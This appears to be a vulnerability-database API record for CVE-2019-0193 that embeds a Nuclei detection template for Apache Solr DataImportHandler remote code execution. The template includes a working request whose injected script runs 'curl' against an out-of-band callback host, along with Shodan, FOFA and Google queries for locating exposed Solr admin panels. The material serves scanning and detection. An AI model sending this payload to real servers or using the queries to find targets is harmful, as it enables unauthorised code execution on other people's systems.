{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-0193/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-0193/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-0193/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-0193/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-0193/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-0193"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-0193"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-0193.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2019-0193\n\ninfo:\n  name: Apache Solr DataImportHandler <8.2.0 - Remote Code Execution\n  author: pdteam\n  severity: high\n  description: |\n    Apache Solr is vulnerable to remote code execution vulnerabilities via the DataImportHandler, an optional but popular module to pull in data from databases and other sources. The module has a feature in which the whole DIH configuration can come from a request's \"dataConfig\" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk.\n  impact: |\n    Successful exploitation of this vulnerability could lead to remote code execution, allowing an attacker to execute arbitrary commands on the affected system.\n  remediation: |\n    Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property \"enable.dih.dataConfigParam\" to true.\n  reference:\n    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193\n    - https://paper.seebug.org/1009/\n    - https://issues.apache.org/jira/browse/SOLR-13669\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-0193\n    - https://lists.apache.org/thread.html/1addbb49a1fc0947fb32ca663d76d93cfaade35a4848a76d4b4ded9c@%3Cissues.lucene.apache.org%3E\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 7.2\n    cve-id: CVE-2019-0193\n    cwe-id: CWE-94\n    epss-score: 0.83547\n    epss-percentile: 0.99671\n    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: apache\n    product: solr\n    shodan-query:\n      - cpe:\"cpe:2.3:a:apache:solr\"\n      - http.title:\"apache solr\"\n      - http.title:\"solr admin\"\n    fofa-query:\n      - title=\"solr admin\"\n      - title=\"apache solr\"\n    google-query:\n      - intitle:\"apache solr\"\n      - intitle:\"solr admin\"\n  tags: cve2019,cve,apache,rce,solr,oast,kev,vulhub,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /solr/admin/cores?wt=json HTTP/1.1\n        Host: {{Hostname}}\n        Accept-Language: en\n        Connection: close\n      - |\n        POST /solr/{{core}}/dataimport?indent=on&wt=json HTTP/1.1\n        Host: {{Hostname}}\n        Content-type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22curl%20{{interactsh-url}}%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: curl\"\n\n    extractors:\n      - type: regex\n        name: core\n        group: 1\n        regex:\n          - '\"name\"\\:\"(.*?)\"'\n        internal: true\n# digest: 490a0046304402205b4e450c58798baa853f5699a74ef56f67ae087e9ab32deb6fbc709088a41d13022025673c24fd6dfade2f5db728ab411f9fbbc16b4966c5c80dea2371a9d8811a90:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-0193"
}